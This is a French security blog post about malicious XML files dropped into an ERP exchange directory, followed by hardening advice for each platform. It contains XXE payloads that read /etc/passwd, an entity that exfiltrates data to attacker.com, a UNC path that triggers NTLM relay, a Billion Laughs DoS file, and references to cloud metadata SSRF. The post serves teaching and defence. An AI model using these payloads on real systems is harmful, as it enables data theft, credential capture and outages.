Le XML, câest propre, structuré⊠et incroyablement dangereux mal utilisĂ©.
Aujourdâhui chez SecuSlice, on ne va pas parler ransomware, phishing ou zero-day. On sort les cahiers de vacances…
Non. On va parler dâun bon vieux classique : le fichier XML.
Celui qui semble inoffensif⊠jusquâĂ ce quâil fasse tomber un ERP, exfiltrer un token Cloud ou dĂ©clencher un NTLM relay digne des meilleurs pentests.
Accrochez vos parseurs, on part dans le RETEX le plus âbien formĂ©â de lâannĂ©e.
đ Introduction & Environnement
Contexte
Notre scénario se déroule dans une entreprise disposant :
đ Dâun site marchand gĂ©nĂ©rant des fichiers XML pour transmettre les commandes confirmĂ©es Ă lâERP
đ Dâun rĂ©pertoire dâĂ©change (partage rĂ©seau ou SFTP) oĂč les fichiers sont dĂ©posĂ©s
đ Dâun ERP qui lit ces fichiers pour :
- â Mettre Ă jour les statuts des commandes
- â DĂ©clencher facturation et logistique
Flux simplifié :
Site marchand â GĂ©nĂ©ration XML â DĂ©pĂŽt sur rĂ©pertoire dâĂ©change â ERP lit le fichier XML â Traitement commandes
Plateformes présentes
Lâenvironnement comporte plusieurs stacks, ce qui multiplie les surfaces dâattaque :
- đ» Windows (.NET / ERP propriĂ©taire)
- Traitement des fichiers XML par un service ERP ou un batch C#
- Souvent via un partage SMB (
\\serveur\erp\incoming)
- đ§Linux (PHP / Python / Middleware)
- Scripts de traitement de fichiers XML ou transformation XSLT
- Ăchanges via NFS ou SFTP
- âïž Cloud (AWS / Azure / GCP)
- Stockage temporaire sur S3 ou Blob Storage avant traitement serverless
- Parsing via Lambda / Function ou service managé
- đąIBM i (AS/400)
- DĂ©pĂŽt des fichiers XML sur lâIFS (
/home/erp/incoming) - Traitement via des jobs RPG ou COBOL
- DĂ©pĂŽt des fichiers XML sur lâIFS (
- đWeb (PHP / Node.js / Python)
- Portails ou microservices qui reçoivent des XML pour intégration
- âJava (Spring, Tomcat, WebLogic)
- Traitement XML avec JAXB, SAX ou DOM
- Souvent en back-end dâERP ou de middleware
đ„Surface dâattaque identifiĂ©e
- Aucune validation stricte des fichiers XML entrants
- Absence de chiffrement ou signature des fichiers déposés
- Parseurs XML parfois configurés par défaut, donc vulnérables à :
- XXE (XML External Entities)
- Billion Laughs (DoS mémoire)
- Encodage exotiques provoquant crash ou lecture incorrecte
- Exfiltration de fichiers internes ou NTLM relay sur Windows
đŻObjectif de ce RETEX SecuSlice :
Montrer comment un simple fichier XML piégé peut :
- đ Planter un ERP (DoS)
- đ€ Exfiltrer des donnĂ©es (XXE, NTLM relay, SSRF)
- đ”ïž Provoquer des impacts financiers ou rĂ©putationnels
â ïž Avertissement SecuSlice :
Les techniques et payloads présentés dans cet article sont destinés uniquement à un usage pédagogique et en laboratoire.
Ne testez jamais ces attaques sur un environnement de production ou un systĂšme dont vous nâĂȘtes pas responsable.
Lâexploitation non autorisĂ©e de ces techniques est illĂ©gale et peut entraĂźner des poursuites pĂ©nales.
2ïžâŁ ScĂ©nario dâattaque n°1 â Injection XML simple đŁ
2.1. Flux normal
Dans lâenvironnement Ă©tudiĂ©, un flux XML typique ressemble Ă ceci :
xml
<commandes>
<commande>
<id>CMD12345</id>
<client>Durand</client>
<montant>250.00</montant>
<statut>Confirmée</statut>
</commande>
</commandes>
- Le site marchand dĂ©pose ce fichier sur le rĂ©pertoire dâĂ©change (ex.
\\serveur\erp\incoming) - LâERP lit le fichier, met Ă jour la commande dans sa base et passe Ă la suivante
- Tout est normal, log propre, pas dâerreur â
2.2. Injection dâun fichier XML piĂ©gĂ©
Un attaquant, ayant accĂšs au rĂ©pertoire dâĂ©change ou ayant compromis le site marchand, remplace ou ajoute un fichier XML malveillant.
Exemple 1 : XXE (XML External Entity)
xml
<?xml version="1.0"?>
<!DOCTYPE commandes [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<commandes>
<commande>
<id>CMD99999</id>
<client>&xxe;</client>
<montant>9999.99</montant>
<statut>Confirmée</statut>
</commande>
</commandes>
Effet concret :
- LâERP va tenter de parser le fichier
- Le moteur XML tente de rĂ©soudre lâentitĂ©
&xxe;â lit/etc/passwd(sous Linux) ouC:\Windows\win.inisous Windows - Si lâERP journalise ou transmet le contenu â fuite de donnĂ©es immĂ©diate
Exemple 2 : Billion Laughs Attack (DoS mémoire)
xml
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;">
]>
<commandes>
<commande>
<id>&lol3;</id>
</commande>
</commandes>Effet concret :
- Chaque entité se démultiplie exponentiellement
- Le parseur XML consomme toute la RAM
- Résultat :
- Crash ERP
- Blocage des traitements
- Potentiel DoS prolongĂ© si lâERP relit le fichier Ă chaque redĂ©marrage
2.3. Impact concret âĄïž
- ERP indisponible pendant plusieurs minutes/heures
- Blocage de la chaĂźne de commandes â perte de CA
- Fuite de fichiers internes si les logs sont accessibles
- Aucune alerte SIEM si lâattaque est interne et silencieuse
⥠Retex sécurité :
Ce scĂ©nario montre quâun fichier XML piĂ©gĂ©, dĂ©posĂ© dans un rĂ©pertoire dâĂ©change, suffit pour provoquer une indisponibilitĂ© ou une fuite de donnĂ©es si :
- LâERP ne valide pas ses entrĂ©es
- Les entités externes ne sont pas désactivées
- Les parseurs XML ne sont pas limités en mémoire et profondeur
3ïžâŁ ScĂ©nario dâattaque n°2 â XXE avancĂ©e + Exfiltration đŻ
3.1. Objectif de lâattaquant
AprĂšs avoir vu que le simple DoS XML fonctionne, lâattaquant veut :
- đ€RĂ©cupĂ©rer des informations internes (fichiers sensibles, credentials)
- đFaire sortir ces donnĂ©es vers un serveur quâil contrĂŽle
- đ„Exploiter les mĂ©canismes Windows pour Ă©lever ses privilĂšges (NTLM relay)
3.2. PrĂ©paration de lâattaque
- Lâattaquant dĂ©ploie un serveur malveillant externe
- Sur Internet ou sur le LAN compromis
- Capable de recevoir des requĂȘtes HTTP ou SMB
- CrĂ©ation dâun fichier XML piĂ©gĂ© avec XXE
- On cible lâexfiltration rĂ©seau (vers HTTP externe)
- Ou le dĂ©clenchement dâune authentification Windows (NTLM relay)
Exemple 1 : XXE + Exfiltration HTTP
<?xml version="1.0"?>
<!DOCTYPE commandes [
<!ENTITY xxe SYSTEM "http://attacker.com:8080/?data=/etc/passwd">
]>
<commandes>
<commande>
<id>CMD666</id>
<client>&xxe;</client>
<montant>666.00</montant>
<statut>Confirmée</statut>
</commande>
</commandes>
- Effet :
- LâERP lit le fichier
- Le parseur XML tente de résoudre
&xxe; - Il appelle http://attacker.com:8080 en transmettant le contenu du fichier ciblé
- DonnĂ©es exfiltrĂ©es discrĂštement vers lâattaquant
Exemple 2 : XXE + NTLM relay (spécifique Windows)
xml
<?xml version="1.0"?>
<!DOCTYPE commandes [
<!ENTITY xxe SYSTEM "\\attacker\share\file">
]>
<commandes>
<commande>
<id>CMD777</id>
<client>&xxe;</client>
<montant>777.00</montant>
<statut>Confirmée</statut>
</commande>
</commandes>
- Effet :
- LâERP tente de lire
\\attacker\share\file - Windows initie une authentification NTLM vers le serveur de lâattaquant
- Lâattaquant capture le hash NTLM et tente un relay ou crack offline
- Prise de contrĂŽle potentielle sur dâautres ressources internes si NTLM nâest pas protĂ©gĂ©
- LâERP tente de lire
3.3. Schéma de Kill Chain
Le scénario complet se visualise comme suit :
Attaquant
â
Dépose un XML piégé (XXE/UNC)
â
RĂ©pertoire dâĂ©change
â
ERP parse le XML
â
â Soit DoS (Billion Laughs)
â Soit Exfiltration HTTP
â Soit NTLM relay vers \\attacker\share
3.4. Impact concret
- Exfiltration silencieuse de fichiers internes (passwd, configs, logs)
- Compromission Windows via NTLM relay â possible escalade AD
- Indisponibilité ERP si DoS en parallÚle
- Potentiel pivot vers dâautres serveurs si le rĂ©seau interne est plat
đĄ Retex sĂ©curitĂ© :
Ce scĂ©nario prouve quâune XXE combinĂ©e Ă un exfil rĂ©seau peut rapidement :
- Passer dâun simple DoS Ă une intrusion rĂ©seau complĂšte
- Exploiter des comportements par défaut Windows pour voler des identifiants
4ïžâŁAnalyse multi-plateformes đ
4.1. Windows (ERP .NET ou batch C#)
Environnement typique
- ERP installé sur Windows Server
- Lecture des XML depuis un partage SMB (
\\serveur\erp\incoming) - Parsing via MSXML ou System.Xml (C#)
- Authentification NTLM activée par défaut sur tout le domaine
Vecteurs dâattaque
- XXE vers fichier local :
C:\Windows\win.ini - XXE vers UNC path â NTLM relay
- Billion Laughs / Quadratic Blowup â DoS service ERP
Pourquoi Windows est fragile
- Parseurs XML compatibles entités externes par défaut
- NTLM accepte les authentifications sortantes â exploitable via UNC
- Si lâERP tourne en compte domaine, lâattaquant peut rebondir sur lâAD
Impact
- Exfiltration fichiers sensibles
- Compromission Active Directory (via NTLM relay)
- Blocage complet du service ERP
4.2. Linux (PHP, Python, Middleware open source)
Environnement typique
- Scripts PHP (SimpleXML/DOMDocument), Python (lxml)
- Ăchange de fichiers via NFS ou SFTP
- Parsers souvent par défaut, rarement sécurisés
Vecteurs dâattaque
- XXE vers
/etc/passwdou/proc/self/environ - Billion Laughs pour saturer la mémoire
- Encodage exotique (UTF-7/UTF-16) pour provoquer un crash silencieux
Pourquoi Linux est fragile
- Services souvent non supervisés
- Pas de limitation mémoire par défaut dans les parseurs open source
- Scripts maison rarement protégés par XSD
Impact
- Fuite dâinformations systĂšme
- DoS applicatif si XML volumineux ou récursif
- Blocage de flux métiers si pas de retry intelligent
4.3. Cloud (AWS / Azure / GCP)
Environnement typique
- Fichiers XML déposés dans S3 / Blob Storage
- Traitement via Lambda, Functions ou App Service
- Parsing avec librairies standard du langage (Java, Python, Node)
Vecteurs dâattaque
- XXE vers Metadata Service (
169.254.169.254)- Exfiltration des tokens IAM ou Managed Identity Azure
- Billion Laughs â explosion du coĂ»t serverless
- SSRF vers dâautres services Cloud (Redis, RDS, API internes)
Pourquoi le Cloud est sensible
- Services exposés internes (metadata) accessibles sans firewall
- Elasticité économique : une attaque DoS = facture qui grimpe
- Logs souvent dĂ©synchronisĂ©s, rendant lâattaque difficile Ă dĂ©tecter
Impact
- Exfiltration credentials Cloud â pivot dans tout le tenant
- Surcoût financier (scaling non voulu)
- Potentiel accĂšs aux buckets / bases Cloud internes
4.4. IBM i (AS/400)
Environnement typique
- DépÎt des XML dans IFS (
/home/erp/incoming) - Traitement via jobs RPG ou COBOL
- Parsers XML intégrés ou librairies Java sur PASE
Vecteurs dâattaque
- XML mal formĂ© â job plantĂ©
- Billion Laughs â saturation CPU / mĂ©moire du job
- XXE vers IFS â lecture de
/QOpenSys/etc/hosts
Pourquoi IBM i est Ă risque
- Applications legacy rarement mises Ă jour
- Validation XSD quasi inexistante
- Jobs sensibles au moindre parsing incorrect â DoS trĂšs simple
Impact
- Plantage des jobs RPG â ERP bloquĂ©
- Fuite fichiers IFS si logs exportés
- DifficultĂ© de reprise car jobs doivent ĂȘtre relancĂ©s manuellement
4.5. Web (PHP / Node.js / Python)
Environnement typique
- Applications web qui ingĂšrent des XML via upload ou API REST
- Parsing cÎté serveur avec SimpleXML, xml2js, ou lxml
Vecteurs dâattaque
- XXE pour lecture de fichiers locaux ou SSRF interne
- Billion Laughs pour saturer le serveur web
- Encodages piégés pour provoquer des erreurs de parsing
Pourquoi vulnérable
- Parseurs activent XXE par défaut (PHP < 8, Python lxml, Node.js xml2js)
- Pas de sandbox : si le service web tombe, câest tout le site qui tombe
- Peu de limitation mémoire / taille de fichier cÎté upload
Impact
- Fuite de données serveur
- Blocage total du site marchand
- Pivot vers le réseau interne si SSRF réussi
4.6. Java (Spring / Tomcat / WebLogic)
Environnement typique
- Middleware ERP ou intégration qui consomme des XML
- Parsing via JAXB, SAX, DOM, Xerces
Vecteurs dâattaque
- XXE (lecture locale + SSRF)
- Billion Laughs / Quadratic Blowup â OOM JVM
- SĂ©rialisation XML malveillante â RCE possible si XStream ou libs vulnĂ©rables
Pourquoi Java est critique
- Librairies XML anciennes si non patchées
- Garbage Collector saturé par les attaques DoS XML
- Services souvent exposĂ©s Ă dâautres flux XML internes ou externes
Impact
- Crash JVM complet
- Fuite fichiers sensibles / accÚs réseau interne
- Potentiel RCE si sérialisation non sécurisée
đĄ Analyse globale :
- Windows et Cloud sont les plus critiques pour lâexfiltration et le pivot
- Linux et IBM i sont faciles Ă planter mais moins intĂ©ressants pour lâattaquant si pas de logs accessibles
- Java et Web sont des passerelles vers dâautres systĂšmes â risque majeur si rĂ©seau interne plat
Vue multi-plateformes & Faiblesses đ
| đ„ïž Plateforme | âïž Vecteur dâattaque | đ„ Impact |
|---|---|---|
| đ» Windows | XXE vers UNC + NTLM relay | Fuite fichiers + pivot AD |
| đ§ Linux | XXE /etc/passwd + Billion Laughs | DoS mĂ©moire + fuite locale |
| âïž Cloud | XXE Metadata 169.254.169.254 | Exfil IAM + coĂ»t financier |
| đą IBM i | XML mal formĂ© / Billion Laughs | Job RPG plantĂ© + fuite IFS |
| đ Web | XXE + DoS upload | Fuite fichiers serveur + site KO |
| â Java | XXE + Billion Laughs | Crash JVM + potentielle RCE |
5ïžâŁ Bonnes pratiques & Contre-mesures đĄïž
5.1. Objectif des contre-mesures
Les attaques XML piégées (XXE, Billion Laughs, encodages exotiques) ciblent :
- Les parseurs XML non sécurisés
- Les systĂšmes sans contrĂŽle dâintĂ©gritĂ© sur les flux
- Les environnements exposés au réseau interne ou externe
Objectif SecOps :
- EmpĂȘcher lâexĂ©cution des entitĂ©s externes
- Limiter lâimpact mĂ©moire / CPU
- DĂ©tecter rapidement une tentative dâexfiltration ou de DoS
5.2. Bonnes pratiques globales
Sécurisation des flux
- Toujours valider les fichiers XML avec un XSD avant traitement
- Rejeter tout fichier non conforme (taille, schéma, nommage)
- Signer ou hacher les fichiers pour garantir leur intégrité
- Transfert chiffrĂ© (SFTP, HTTPS) et rĂ©pertoire dâĂ©change sĂ©curisĂ©
Durcissement du parsing XML
- Désactiver les entités externes (XXE)
- Limiter la taille et la profondeur des fichiers XML
- Activer des quotas mémoire / CPU sur les parseurs
- Logger toute erreur de parsing et mettre en quarantaine le fichier
Surveillance et réponse
- SIEM / SOC : alertes sur
- Tentatives de lecture UNC
- Dépassement mémoire JVM / .NET
- Appels vers
169.254.169.254(Cloud metadata)
- Sandbox XML pour tester les fichiers suspects avant traitement en prod
- Plan de reprise si lâERP tombe suite Ă parsing malveillant
5.3. Bonnes pratiques par stack
đ» Windows (.NET / ERP)
Mesures spécifiques :
- Désactiver DTD et XXE dans MSXML :
csharp var settings = new XmlReaderSettings(); settings.DtdProcessing = DtdProcessing.Prohibit; settings.XmlResolver = null;
- Bloquer les accĂšs UNC sortants depuis le serveur ERP
- Isoler le compte de service ERP (pas de privilÚges AD élevés)
- Journaliser les erreurs XML dans lâEvent Viewer + SIEM
đ§ Linux (PHP / Python / Middleware)
Mesures spécifiques :
- PHP :
php libxml_disable_entity_loader(true);
- Python lxml :
python parser = etree.XMLParser(resolve_entities=False)
- Limiter la taille des fichiers XML Ă quelques Mo
- Superviser lâusage CPU/RAM des jobs de parsing
âïž Cloud (AWS / Azure / GCP)
Mesures spécifiques :
- Bloquer lâaccĂšs direct au Metadata Service si inutile
- AWS : utiliser IMDSv2
- Azure : restreindre
169.254.169.254dans NSG/VPC
- Quota mémoire & timeout strict sur Lambda / Functions
- Surveiller les coĂ»ts â alerte sur scaling inhabituel
- Scanner les buckets S3 / Blob Storage pour détecter XML suspects
đą IBM i (AS/400)
Mesures spécifiques :
- Valider les XML avant de lancer les jobs RPG/COBOL
- Isoler les jobs sensibles dans une sous-queue
- Surveiller lâIFS pour dĂ©tecter fichiers suspects
- Mettre en place une purge automatique des fichiers invalides
đ Web (PHP / Node.js / Python)
Mesures spécifiques :
- Bloquer XXE dans tous les parseurs
- Limiter la taille dâupload XML et filtrer lâextension
- Stocker les fichiers en sandbox avant traitement
- Monitorer les erreurs 500 qui peuvent indiquer un DoS XML
â Java (Spring / Tomcat / WebLogic)
Mesures spécifiques :
- Désactiver les entités externes :
Java
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);- Limiter mémoire JVM et profondeur DOM
- Mettre Ă jour les librairies XML (Xerces, JAXB)
- Surveiller OOM (OutOfMemory) dans les logs applicatifs
đŻ 5.4. Retex final pour SecuSlice
Message clé :
âUn fichier XML piĂ©gĂ© peut suffire Ă faire tomber un ERP, exfiltrer des donnĂ©es internes ou ouvrir la voie Ă une compromission rĂ©seau complĂšte.
Les parseurs XML doivent ĂȘtre durcis, les flux contrĂŽlĂ©s, et les environnements isolĂ©s selon le principe du moindre privilĂšge.â
đ BientĂŽt on parlera de la mĂȘme chose mais avec JSON
JSON âBillion Nestingâ (DoS mĂ©moire)
json
{
"commande": {
"id": "CMD9999",
"details": {
"sub1": { "sub2": { "sub3": { "sub4": { "sub5": {} } } } }
}
}
}
- Effet : profondeur exponentielle â certains parseurs vont exploser en mĂ©moire ou CPU
- Variante : fichiers JSON de plusieurs centaines de Mo â saturation serveur
